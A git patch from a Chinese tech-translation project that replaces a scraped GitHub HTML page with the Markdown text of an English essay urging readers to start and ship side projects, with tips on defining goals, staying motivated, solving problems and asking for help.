+    <svg aria-hidden="true" class="octicon octicon-alert" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M8.865 1.52c-.18-.31-.51-.5-.87-.5s-.69.19-.87.5L.275 13.5c-.18.31-.18.69 0 1 .19.31.52.5.87.5h13.7c.36 0 .69-.19.86-.5.17-.31.18-.69.01-1L8.865 1.52zM8.995 13h-2v-2h2v2zm0-3h-2V6h2v4z"/></svg>
+    <span class="signed-in-tab-flash">You signed in with another tab or window. <a href="">Reload</a> to refresh your session.</span>
+    <span class="signed-out-tab-flash">You signed out in another tab or window. <a href="">Reload</a> to refresh your session.</span>
+  </div>
+  <div class="facebox" id="facebox" style="display:none;">
+  <div class="facebox-popup">
+    <div class="facebox-content" role="dialog" aria-labelledby="facebox-header" aria-describedby="facebox-description">
+    </div>
+    <button type="button" class="facebox-close js-facebox-close" aria-label="Close modal">
+      <svg aria-hidden="true" class="octicon octicon-x" height="16" version="1.1" viewBox="0 0 12 16" width="12"><path fill-rule="evenodd" d="M7.48 8l3.75 3.75-1.48 1.48L6 9.48l-3.75 3.75-1.48-1.48L4.52 8 .77 4.25l1.48-1.48L6 6.52l3.75-3.75 1.48 1.48z"/></svg>
+    </button>
+  </div>
+</div>
+
+
+  </body>
+</html>
 
-> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From dea537b873dcacec4bc5b2ea99a122b7767799dc Mon Sep 17 00:00:00 2001
From: Wenlin Ou <wou6@gatech.edu>
Date: Fri, 7 Apr 2017 22:02:31 -0400
Subject: [PATCH 071/638] ...

---
 ...ng-will-change-until-you-start-building.md | 807 +-----------------
 1 file changed, 47 insertions(+), 760 deletions(-)

diff --git a/TODO/nothing-will-change-until-you-start-building.md b/TODO/nothing-will-change-until-you-start-building.md
index 46f78f0efb5..0d57984107d 100644
--- a/TODO/nothing-will-change-until-you-start-building.md
+++ b/TODO/nothing-will-change-until-you-start-building.md
@@ -1,803 +1,90 @@
+> * 原文地址：[Nothing will change until you start building.](https://medium.freecodecamp.com/nothing-will-change-until-you-start-building-2681e85e7bdc)
+> * 原文作者：[Jonathan Z. White](https://medium.freecodecamp.com/@JonathanZWhite?source=post_header_lockup)
+> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
+> * 译者：
+> * 校对者：
 
+---
 
+![](https://cdn-images-1.medium.com/max/1000/1*EwHpnCZ70FtJMi-lNSl-9Q.png)
 
+# Nothing will change until you start building.
 
+This past week, I was in a Lyft. My driver was telling me about all of her ideas for side projects. She had ideas for a children’s book, an app that helps people find parking, and a more efficient way to package gifts. The problem was she was frozen by indecision. She had the ideas but she didn’t know where to start.
 
+This is what I told her. **Start by building. Pick one project and do whatever you have to do to ship it.** If you want to write a book, start with writing a page a day. If you want to build an app, start with some sketches. Anyone can do it.
 
-<!DOCTYPE html>
-<html lang="en">
-  <head>
-    <meta charset="utf-8">
+This advice applies to all creators. Once you start building and launching your projects, you won’t be able to stop. Building will become part of your identity. And even if your project fails, you’ll keep at it.
 
+The steps you take today will compound over time. Look at great product makers like [Drew Wilson](https://twitter.com/drewwilson), [Pieter Levels](https://twitter.com/levelsio?), and [Sebastian Dobrincu](https://twitter.com/Sebyddd). **They don’t wait for the right opportunity.** They build and ship weekly.
 
+In an interview on [IndieHackers](https://www.indiehackers.com/podcast/006-josh-pigford-of-baremetrics), [Josh Pigford](https://twitter.com/Shpigford) disclosed that before he built Baremetrics, he had iterated through a *hundred* failed ideas. Today, Baremetrics makes over 60,000 in monthly recurring revenue.
 
-  <link crossorigin="anonymous" href="https://assets-cdn.github.com/assets/frameworks-612da304eac9a72f5d085232387f7f5cd82df6c73120fd97fcf0bdefacbd9b16.css" integrity="sha256-YS2jBOrJpy9dCFIyOH9/XNgt9scxIP2X/PC976y9mxY=" media="all" rel="stylesheet" />
-  <link crossorigin="anonymous" href="https://assets-cdn.github.com/assets/github-9e591dcc1f30d2a6ac3773da2f8c05987a4a148bae15713c4be9bb62b6e92b26.css" integrity="sha256-nlkdzB8w0qasN3PaL4wFmHpKFIuuFXE8S+m7YrbpKyY=" media="all" rel="stylesheet" />
-  
-  
-  
-  
 
-  <meta name="viewport" content="width=device-width">
-  
-  <title>gold-miner/nothing-will-change-until-you-start-building.md at translate · owenlyn/gold-miner</title>
-  <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub">
-  <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub">
-  <meta property="fb:app_id" content="1401488693436528">
+![](https://cdn-images-1.medium.com/max/800/1*BzmVaqAKEzNRybUmMYOxdA.png)
 
-    
-    <meta content="https://avatars2.githubusercontent.com/u/4431857?v=3&amp;s=400" property="og:image" /><meta content="GitHub" property="og:site_name" /><meta content="object" property="og:type" /><meta content="owenlyn/gold-miner" property="og:title" /><meta content="https://github.com/owenlyn/gold-miner" property="og:url" /><meta content="gold-miner - 掘金翻译计划，翻译掘金上优质的英文文章" property="og:description" />
+With that in mind, here are some tactics I’ve compiled from friends and acquaintances who are successful product makers.
 
-  <link rel="assets" href="https://assets-cdn.github.com/">
-  <link rel="web-socket" href="wss://live.github.com/_sockets/VjI6MTUzNjk5MDc1OmFiMTQ1MTc0YjM1YmJlMTdkZGMwN2MzYTc1ODE4Zjk4OGFkZGRhNmU2MmNkNjRjNGJlYmZhNjM5ZjlhOGMzOTc=--68a12393bc9f26696a0f1e2b4a8beaa7993ab9a1">
-  <meta name="pjax-timeout" content="1000">
-  <link rel="sudo-modal" href="/sessions/sudo_modal">
-  <meta name="request-id" content="CD65:4F38:2480670:3758404:58E84248" data-pjax-transient>
-  
+---
 
-  <meta name="selected-link" value="repo_source" data-pjax-transient>
+### 1. Define your goal
 
-  <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU">
-<meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA">
-    <meta name="google-analytics" content="UA-3769691-2">
+Early on, figure out the main goal of your project. If you want to break out of your usual design style, focus on the design. If you want to test a new framework for your front-end, focus on the code. If you want to acquire a hundred users, focus on selling.
 
-<meta content="collector.githubapp.com" name="octolytics-host" /><meta content="github" name="octolytics-app-id" /><meta content="https://collector.githubapp.com/github-external/browser_event" name="octolytics-event-url" /><meta content="CD65:4F38:2480670:3758404:58E84248" name="octolytics-dimension-request_id" /><meta content="4431857" name="octolytics-actor-id" /><meta content="owenlyn" name="octolytics-actor-login" /><meta content="fdd747e7d985040678fec5301f468cbc859690c07058cfaf6f1ffec23669be27" name="octolytics-actor-hash" />
-<meta content="/&lt;user-name&gt;/&lt;repo-name&gt;/blob/show" data-pjax-transient="true" name="analytics-location" />
+**Define your goal early so you don’t get distracted and end up not achieving what you set out to do.** Perhaps your project doesn’t become the next Snapchat, but by working towards your goal you will have honed the tools in your product-making arsenal. Little by little, you’ll be able to design, code, and sell faster and more efficiently.
 
+### 2. Stay on track
 
+Sometimes product makers fail to ship because they lose motivation. **Set small goals; meeting those goals will help you build momentum.** Small wins will compound.
 
+![](https://cdn-images-1.medium.com/max/800/1*ESildSVTSSOnFXGDxD-l9w.png)
 
-  <meta class="js-ga-set" name="dimension1" content="Logged In">
+Another thing you can do to stay on track is to be more public about your work. Share your progress online and with your peers. People love to see things like wireframes and will often times provide valuable input.
 
+One trick that I find particularly motivating is making bets with friends. I tell them, if I don’t complete a task by a deadline, I’ll give them a hundred dollars. For example, I might set my task to getting twenty people to pay me within two weeks of launching a project.
 
-  
+### 3. Solve a problem
 
-      <meta name="hostname" content="github.com">
-  <meta name="user-login" content="owenlyn">
+Start by solving a problem. If you have experienced the problem yourself, even better. Ask your friends what kind of problems they experience.
 
-      <meta name="expected-hostname" content="github.com">
-    <meta name="js-proxy-site-detection-payload" content="ZDQ4NWMxYjU2NzU1ZjQ2MDAzNWI5MGIxNzUzY2EzOGZkMGNjMDQ5NmNkMjUyZTIyNTE0NDcxMDAwMGYzNTdmZHx7InJlbW90ZV9hZGRyZXNzIjoiNzMuMjM3LjE4LjIyIiwicmVxdWVzdF9pZCI6IkNENjU6NEYzODoyNDgwNjcwOjM3NTg0MDQ6NThFODQyNDgiLCJ0aW1lc3RhbXAiOjE0OTE2MTYzMjksImhvc3QiOiJnaXRodWIuY29tIn0=">
+For example, I built [YC Careers](http://jonathanzwhite.github.io/yc-careers/) and [AtomSpace](https://atomspace.co/) to address the needs of one my friends who was having trouble applying to jobs and interviewing as a product designer. Overnight, YC Careers made it to the top of [ProductHunt](https://www.producthunt.com/posts/yc-careers) and AtomSpace booked $100 dollars from strangers within 6 hours of going live.
 
+**The bigger the pain point you’re trying to solve, the easier it will be to find users.**
 
-  <meta name="html-safe-nonce" content="b54810b74418b8727d0adbc8644992d5cf0ffe23">
+Also, analyze problem-solutions from multiple perspectives. Some successful ideas might seem like a solution without a problem. For example, Instagram doesn’t seem to solve any immediate problem. But it does. Instagram solves the need for friends to stay updated on one another. If this need is not met, then it becomes a problem.
 
-  <meta http-equiv="x-pjax-version" content="2fcc845e19df9d36134e232e5e95caa9">
-  
+For further reading, [John Carmack on Idea Generation](https://amasad.me/carmack) and [How to Get Startup Ideas](http://paulgraham.com/startupideas.html) are two great essays to get you started.
 
-    
-  <meta name="description" content="gold-miner - 掘金翻译计划，翻译掘金上优质的英文文章">
-  <meta name="go-import" content="github.com/owenlyn/gold-miner git https://github.com/owenlyn/gold-miner.git">
+### 4. Ditch the “good idea / bad idea” mindset
 
-  <meta content="4431857" name="octolytics-dimension-user_id" /><meta content="owenlyn" name="octolytics-dimension-user_login" /><meta content="63524125" name="octolytics-dimension-repository_id" /><meta content="owenlyn/gold-miner" name="octolytics-dimension-repository_nwo" /><meta content="true" name="octolytics-dimension-repository_public" /><meta content="true" name="octolytics-dimension-repository_is_fork" /><meta content="45512989" name="octolytics-dimension-repository_parent_id" /><meta content="xitu/gold-miner" name="octolytics-dimension-repository_parent_nwo" /><meta content="45512989" name="octolytics-dimension-repository_network_root_id" /><meta content="xitu/gold-miner" name="octolytics-dimension-repository_network_root_nwo" />
-        <link href="https://github.com/owenlyn/gold-miner/commits/translate.atom" rel="alternate" title="Recent Commits to gold-miner:translate" type="application/atom+xml">
+Once you’ve identified a problem and come up with a solution, you’ll probably ask yourself if your idea is good.
 
+**Plenty of seemingly bad ideas have turned out to be great businesses.** For example, no one wanted to invest in Airbnb. Brian Chesky, one of the co-founders of Airbnb, detailed their rejections in his essay [7 Rejections](https://medium.com/@bchesky/7-rejections-7d894cbaa084#.l8fdqlasz).
 
-    <link rel="canonical" href="https://github.com/owenlyn/gold-miner/blob/translate/TODO/nothing-will-change-until-you-start-building.md" data-pjax-transient>
+![](https://cdn-images-1.medium.com/max/800/1*WpxUxMCO-7NXr-o1yo023g.png)
 
+The only way to know for sure if your idea will work is to formulate a product hypothesis and run an experiment to test it. Talk to people and ask if they are interested in your solution. If you can get them to pay you before you’ve built anything, even better.
 
-  <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
+### 5. Ask for help
 
-  <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
+When working on a project, reach out to people and ask for their help. **You will be surprised at how many people are willing to pay it forward and help a complete stranger.**
 
-  <link rel="mask-icon" href="https://assets-cdn.github.com/pinned-octocat.svg" color="#000000">
-  <link rel="icon" type="image/x-icon" href="https://assets-cdn.github.com/favicon.ico">
+Some of the best advice and feedback I have received came from reaching out to people with an email or a DM on Twitter.
 
-<meta name="theme-color" content="#1e2327">
+Also, when asking for help, be specific and prepare your questions. If you want feedback on a design, send the mockup. If you want feedback on your marketing strategy, detail what you have tried so far. Context is key. And if you don’t get a response, follow up politely. Sometimes the person you’re reaching out to might have genuinely missed your message.
 
+---
 
-  <meta name="u2f-support" content="true">
+Build and launch your side projects. Use this process as a way to hone your craft so that when opportunity presents itself, you’re ready to take full advantage of it. Luck always favors the prepared.
 
-  </head>
+So next time you come up with an idea, act on it. Identify a problem, define your goal, stay on track, and ask for help.
 
-  <body class="logged-in env-production emoji-size-boost page-blob">
-    
+What are you working on right now? How can I help you? Leave me a note here or [tweet](https://twitter.com/jonathanzwhite) them to me on Twitter.
 
+You can find me on Medium where I publish every week. Or you can follow me on [Twitter](https://twitter.com/JonathanZWhite), where I post non-sensical ramblings about design, front-end development, and virtual reality.
 
-  <div class="position-relative js-header-wrapper ">
-    <a href="#start-of-content" tabindex="1" class="accessibility-aid js-skip-to-content">Skip to content</a>
-    <div id="js-pjax-loader-bar" class="pjax-loader-bar"><div class="progress"></div></div>
+*P.S. If you enjoyed this article, it would mean a lot if you click the 💚 and share with friends.*
 
-    
-    
-    
-
-
-
-        
-<div class="header" role="banner">
-  <div class="container clearfix">
-    <a class="header-logo-invertocat" href="https://github.com/" data-hotkey="g d" aria-label="Homepage" data-ga-click="Header, go to dashboard, icon:logo">
-  <svg aria-hidden="true" class="octicon octicon-mark-github" height="32" version="1.1" viewBox="0 0 16 16" width="32"><path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0 0 16 8c0-4.42-3.58-8-8-8z"/></svg>
-</a>
-
-
-        <div class="header-search scoped-search site-scoped-search js-site-search" role="search">
-  <!-- '"` --><!-- </textarea></xmp> --></option></form><form accept-charset="UTF-8" action="/owenlyn/gold-miner/search" class="js-site-search-form" data-scoped-search-url="/owenlyn/gold-miner/search" data-unscoped-search-url="/search" method="get"><div style="margin:0;padding:0;display:inline"><input name="utf8" type="hidden" value="&#x2713;" /></div>
-    <label class="form-control header-search-wrapper js-chromeless-input-container">
-        <a href="/owenlyn/gold-miner/blob/translate/TODO/nothing-will-change-until-you-start-building.md" class="header-search-scope no-underline">This repository</a>
-      <input type="text"
-        class="form-control header-search-input js-site-search-focus js-site-search-field is-clearable"
-        data-hotkey="s"
-        name="q"
-        value=""
-        placeholder="Search"
-        aria-label="Search this repository"
-        data-unscoped-placeholder="Search GitHub"
-        data-scoped-placeholder="Search"
-        autocapitalize="off">
-        <input type="hidden" class="js-site-search-type-field" name="type" >
-    </label>
-</form></div>
-
-
-      <ul class="header-nav float-left" role="navigation">
-        <li class="header-nav-item">
-          <a href="/pulls" aria-label="Pull requests you created" class="js-selected-navigation-item header-nav-link" data-ga-click="Header, click, Nav menu - item:pulls context:user" data-hotkey="g p" data-selected-links="/pulls /pulls/assigned /pulls/mentioned /pulls">
-            Pull requests
-</a>        </li>
-        <li class="header-nav-item">
-          <a href="/issues" aria-label="Issues you created" class="js-selected-navigation-item header-nav-link" data-ga-click="Header, click, Nav menu - item:issues context:user" data-hotkey="g i" data-selected-links="/issues /issues/assigned /issues/mentioned /issues">
-            Issues
-</a>        </li>
-          <li class="header-nav-item">
-            <a class="header-nav-link" href="https://gist.github.com/" data-ga-click="Header, go to gist, text:gist">Gist</a>
-          </li>
-      </ul>
-
-    
-<ul class="header-nav user-nav float-right" id="user-links">
-  <li class="header-nav-item">
-    
-    <a href="/notifications" aria-label="You have unread notifications" class="header-nav-link notification-indicator tooltipped tooltipped-s js-socket-channel js-notification-indicator " data-channel="notification-changed:4431857" data-ga-click="Header, go to notifications, icon:unread" data-hotkey="g n">
-        <span class="mail-status unread"></span>
-        <svg aria-hidden="true" class="octicon octicon-bell float-left" height="16" version="1.1" viewBox="0 0 14 16" width="14"><path fill-rule="evenodd" d="M14 12v1H0v-1l.73-.58c.77-.77.81-2.55 1.19-4.42C2.69 3.23 6 2 6 2c0-.55.45-1 1-1s1 .45 1 1c0 0 3.39 1.23 4.16 5 .38 1.88.42 3.66 1.19 4.42l.66.58H14zm-7 4c1.11 0 2-.89 2-2H5c0 1.11.89 2 2 2z"/></svg>
-</a>
-  </li>
-
-  <li class="header-nav-item dropdown js-menu-container">
-    <a class="header-nav-link tooltipped tooltipped-s js-menu-target" href="/new"
-       aria-label="Create new…"
-       data-ga-click="Header, create new, icon:add">
-      <svg aria-hidden="true" class="octicon octicon-plus float-left" height="16" version="1.1" viewBox="0 0 12 16" width="12"><path fill-rule="evenodd" d="M12 9H7v5H5V9H0V7h5V2h2v5h5z"/></svg>
-      <span class="dropdown-caret"></span>
-    </a>
-
-    <div class="dropdown-menu-content js-menu-content">
-      <ul class="dropdown-menu dropdown-menu-sw">
-        
-<a class="dropdown-item" href="/new" data-ga-click="Header, create new repository">
-  New repository
-</a>
-
-  <a class="dropdown-item" href="/new/import" data-ga-click="Header, import a repository">
-    Import repository
-  </a>
-
-<a class="dropdown-item" href="https://gist.github.com/" data-ga-click="Header, create new gist">
-  New gist
-</a>
-
-  <a class="dropdown-item" href="/organizations/new" data-ga-click="Header, create new organization">
-    New organization
-  </a>
-
-
-
-
-      </ul>
-    </div>
-  </li>
-
-  <li class="header-nav-item dropdown js-menu-container">
-    <a class="header-nav-link name tooltipped tooltipped-sw js-menu-target" href="/owenlyn"
-       aria-label="View profile and more"
-       data-ga-click="Header, show menu, icon:avatar">
-      <img alt="@owenlyn" class="avatar" src="https://avatars0.githubusercontent.com/u/4431857?v=3&amp;s=40" height="20" width="20">
-      <span class="dropdown-caret"></span>
-    </a>
-
-    <div class="dropdown-menu-content js-menu-content">
-      <div class="dropdown-menu dropdown-menu-sw">
-        <div class="dropdown-header header-nav-current-user css-truncate">
-          Signed in as <strong class="css-truncate-target">owenlyn</strong>
-        </div>
-
-        <div class="dropdown-divider"></div>
-
-        <a class="dropdown-item" href="/owenlyn" data-ga-click="Header, go to profile, text:your profile">
-          Your profile
-        </a>
-        <a class="dropdown-item" href="/owenlyn?tab=stars" data-ga-click="Header, go to starred repos, text:your stars">
-          Your stars
-        </a>
-        <a class="dropdown-item" href="/explore" data-ga-click="Header, go to explore, text:explore">
-          Explore
-        </a>
-          <a class="dropdown-item" href="/integrations" data-ga-click="Header, go to integrations, text:integrations">
-            Integrations
-          </a>
-        <a class="dropdown-item" href="https://help.github.com" data-ga-click="Header, go to help, text:help">
-          Help
-        </a>
-
-        <div class="dropdown-divider"></div>
-
-        <a class="dropdown-item" href="/settings/profile" data-ga-click="Header, go to settings, icon:settings">
-          Settings
-        </a>
-
-        <!-- '"` --><!-- </textarea></xmp> --></option></form><form accept-charset="UTF-8" action="/logout" class="logout-form" method="post"><div style="margin:0;padding:0;display:inline"><input name="utf8" type="hidden" value="&#x2713;" /><input name="authenticity_token" type="hidden" value="v6KO1BUGnA3+EaCIat9ydpBVHSnF9BWdS7/+hJRtHRq7tiSuuhFuC8XkWNXXBzkkFh/LlQTBkFYvTHSxe0qC6Q==" /></div>
-          <button type="submit" class="dropdown-item dropdown-signout" data-ga-click="Header, sign out, icon:logout">
-            Sign out
-          </button>
-</form>      </div>
-    </div>
-  </li>
-</ul>
-
-
-    <!-- '"` --><!-- </textarea></xmp> --></option></form><form accept-charset="UTF-8" action="/logout" class="sr-only right-0" method="post"><div style="margin:0;padding:0;display:inline"><input name="utf8" type="hidden" value="&#x2713;" /><input name="authenticity_token" type="hidden" value="sghH8+vhjOnheoATBWYEFnQSIfg2pLTF/wcKRy7npVu2HO2JRPZ+79qPeE64vk9E8lj3RPeRMQ6b9IBywcA6qA==" /></div>
-      <button type="submit" class="dropdown-item dropdown-signout" data-ga-click="Header, sign out, icon:logout">
-        Sign out
-      </button>
-</form>  </div>
-</div>
-
-
-      
-
-  </div>
-
-  <div id="start-of-content" class="accessibility-aid"></div>
-
-    <div id="js-flash-container">
-</div>
-
-
-
-  <div role="main">
-        <div itemscope itemtype="http://schema.org/SoftwareSourceCode">
-    <div id="js-repo-pjax-container" data-pjax-container>
-        
-
-
-  <div class="pagehead repohead instapaper_ignore readability-menu experiment-repo-nav">
-    <div class="container repohead-details-container">
-
-
-      <ul class="pagehead-actions">
-  <li>
-        <!-- '"` --><!-- </textarea></xmp> --></option></form><form accept-charset="UTF-8" action="/notifications/subscribe" class="js-social-container" data-autosubmit="true" data-remote="true" method="post"><div style="margin:0;padding:0;display:inline"><input name="utf8" type="hidden" value="&#x2713;" /><input name="authenticity_token" type="hidden" value="pJiuBgtIYPcSiYzif+ZMnDAKTRHWjEObrGotSzZCINHGfivoryhVECmlXf+Eq4cTrzzqTUafLNrjWfxJ7xpjJQ==" /></div>      <input class="form-control" id="repository_id" name="repository_id" type="hidden" value="63524125" />
-
-        <div class="select-menu js-menu-container js-select-menu">
-          <a href="/owenlyn/gold-miner/subscription"
-            class="btn btn-sm btn-with-count select-menu-button js-menu-target" role="button" tabindex="0" aria-haspopup="true"
-            data-ga-click="Repository, click Watch settings, action:blob#show">
-            <span class="js-select-button">
-              <svg aria-hidden="true" class="octicon octicon-eye" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M8.06 2C3 2 0 8 0 8s3 6 8.06 6C13 14 16 8 16 8s-3-6-7.94-6zM8 12c-2.2 0-4-1.78-4-4 0-2.2 1.8-4 4-4 2.22 0 4 1.8 4 4 0 2.22-1.78 4-4 4zm2-4c0 1.11-.89 2-2 2-1.11 0-2-.89-2-2 0-1.11.89-2 2-2 1.11 0 2 .89 2 2z"/></svg>
-              Unwatch
-            </span>
-          </a>
-          <a class="social-count js-social-count"
-            href="/owenlyn/gold-miner/watchers"
-            aria-label="2 users are watching this repository">
-            2
-          </a>
-
-        <div class="select-menu-modal-holder">
-          <div class="select-menu-modal subscription-menu-modal js-menu-content">
-            <div class="select-menu-header js-navigation-enable" tabindex="-1">
-              <svg aria-label="Close" class="octicon octicon-x js-menu-close" height="16" role="img" version="1.1" viewBox="0 0 12 16" width="12"><path fill-rule="evenodd" d="M7.48 8l3.75 3.75-1.48 1.48L6 9.48l-3.75 3.75-1.48-1.48L4.52 8 .77 4.25l1.48-1.48L6 6.52l3.75-3.75 1.48 1.48z"/></svg>
-              <span class="select-menu-title">Notifications</span>
-            </div>
-
-              <div class="select-menu-list js-navigation-container" role="menu">
-
-                <div class="select-menu-item js-navigation-item " role="menuitem" tabindex="0">
-                  <svg aria-hidden="true" class="octicon octicon-check select-menu-item-icon" height="16" version="1.1" viewBox="0 0 12 16" width="12"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
-                  <div class="select-menu-item-text">
-                    <input id="do_included" name="do" type="radio" value="included" />
-                    <span class="select-menu-item-heading">Not watching</span>
-                    <span class="description">Be notified when participating or @mentioned.</span>
-                    <span class="js-select-button-text hidden-select-button-text">
-                      <svg aria-hidden="true" class="octicon octicon-eye" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M8.06 2C3 2 0 8 0 8s3 6 8.06 6C13 14 16 8 16 8s-3-6-7.94-6zM8 12c-2.2 0-4-1.78-4-4 0-2.2 1.8-4 4-4 2.22 0 4 1.8 4 4 0 2.22-1.78 4-4 4zm2-4c0 1.11-.89 2-2 2-1.11 0-2-.89-2-2 0-1.11.89-2 2-2 1.11 0 2 .89 2 2z"/></svg>
-                      Watch
-                    </span>
-                  </div>
-                </div>
-
-                <div class="select-menu-item js-navigation-item selected" role="menuitem" tabindex="0">
-                  <svg aria-hidden="true" class="octicon octicon-check select-menu-item-icon" height="16" version="1.1" viewBox="0 0 12 16" width="12"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
-                  <div class="select-menu-item-text">
-                    <input checked="checked" id="do_subscribed" name="do" type="radio" value="subscribed" />
-                    <span class="select-menu-item-heading">Watching</span>
-                    <span class="description">Be notified of all conversations.</span>
-                    <span class="js-select-button-text hidden-select-button-text">
-                      <svg aria-hidden="true" class="octicon octicon-eye" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M8.06 2C3 2 0 8 0 8s3 6 8.06 6C13 14 16 8 16 8s-3-6-7.94-6zM8 12c-2.2 0-4-1.78-4-4 0-2.2 1.8-4 4-4 2.22 0 4 1.8 4 4 0 2.22-1.78 4-4 4zm2-4c0 1.11-.89 2-2 2-1.11 0-2-.89-2-2 0-1.11.89-2 2-2 1.11 0 2 .89 2 2z"/></svg>
-                      Unwatch
-                    </span>
-                  </div>
-                </div>
-
-                <div class="select-menu-item js-navigation-item " role="menuitem" tabindex="0">
-                  <svg aria-hidden="true" class="octicon octicon-check select-menu-item-icon" height="16" version="1.1" viewBox="0 0 12 16" width="12"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
-                  <div class="select-menu-item-text">
-                    <input id="do_ignore" name="do" type="radio" value="ignore" />
-                    <span class="select-menu-item-heading">Ignoring</span>
-                    <span class="description">Never be notified.</span>
-                    <span class="js-select-button-text hidden-select-button-text">
-                      <svg aria-hidden="true" class="octicon octicon-mute" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M8 2.81v10.38c0 .67-.81 1-1.28.53L3 10H1c-.55 0-1-.45-1-1V7c0-.55.45-1 1-1h2l3.72-3.72C7.19 1.81 8 2.14 8 2.81zm7.53 3.22l-1.06-1.06-1.97 1.97-1.97-1.97-1.06 1.06L11.44 8 9.47 9.97l1.06 1.06 1.97-1.97 1.97 1.97 1.06-1.06L13.56 8l1.97-1.97z"/></svg>
-                      Stop ignoring
-                    </span>
-                  </div>
-                </div>
-
-              </div>
-
-            </div>
-          </div>
-        </div>
-</form>
-  </li>
-
-  <li>
-      <div class="js-toggler-container js-social-container starring-container ">
-    <!-- '"` --><!-- </textarea></xmp> --></option></form><form accept-charset="UTF-8" action="/owenlyn/gold-miner/unstar" class="starred" data-remote="true" method="post"><div style="margin:0;padding:0;display:inline"><input name="utf8" type="hidden" value="&#x2713;" /><input name="authenticity_token" type="hidden" value="x/ZIH48MU2+IDX3E3obzHopc8GkUJ062lnI2zzppePQDmkA9hr9T51FQmNTAWUkmtmaQcTvnVHkBek2lcNtzKw==" /></div>
-      <button
-        type="submit"
-        class="btn btn-sm btn-with-count js-toggler-target"
-        aria-label="Unstar this repository" title="Unstar owenlyn/gold-miner"
-        data-ga-click="Repository, click unstar button, action:blob#show; text:Unstar">
-        <svg aria-hidden="true" class="octicon octicon-star" height="16" version="1.1" viewBox="0 0 14 16" width="14"><path fill-rule="evenodd" d="M14 6l-4.9-.64L7 1 4.9 5.36 0 6l3.6 3.26L2.67 14 7 11.67 11.33 14l-.93-4.74z"/></svg>
-        Unstar
-      </button>
-        <a class="social-count js-social-count" href="/owenlyn/gold-miner/stargazers"
-           aria-label="10 users starred this repository">
-          10
-        </a>
-</form>
-    <!-- '"` --><!-- </textarea></xmp> --></option></form><form accept-charset="UTF-8" action="/owenlyn/gold-miner/star" class="unstarred" data-remote="true" method="post"><div style="margin:0;padding:0;display:inline"><input name="utf8" type="hidden" value="&#x2713;" /><input name="authenticity_token" type="hidden" value="ZRwnarXOBh3rdL1klK2YHtI5Lls67DM+G1P1O8ITRWNVjjiOlxd1PIbS1Wm5YnJPovQO7xgF8lAIq67LS+pd2g==" /></div>
-      <button
-        type="submit"
-        class="btn btn-sm btn-with-count js-toggler-target"
-        aria-label="Star this repository" title="Star owenlyn/gold-miner"
-        data-ga-click="Repository, click star button, action:blob#show; text:Star">
-        <svg aria-hidden="true" class="octicon octicon-star" height="16" version="1.1" viewBox="0 0 14 16" width="14"><path fill-rule="evenodd" d="M14 6l-4.9-.64L7 1 4.9 5.36 0 6l3.6 3.26L2.67 14 7 11.67 11.33 14l-.93-4.74z"/></svg>
-        Star
-      </button>
-        <a class="social-count js-social-count" href="/owenlyn/gold-miner/stargazers"
-           aria-label="10 users starred this repository">
-          10
-        </a>
-</form>  </div>
-
-  </li>
-
-  <li>
-          <a href="#fork-destination-box" class="btn btn-sm btn-with-count"
-              title="Fork your own copy of owenlyn/gold-miner to your account"
-              aria-label="Fork your own copy of owenlyn/gold-miner to your account"
-              rel="facebox"
-              data-ga-click="Repository, show fork modal, action:blob#show; text:Fork">
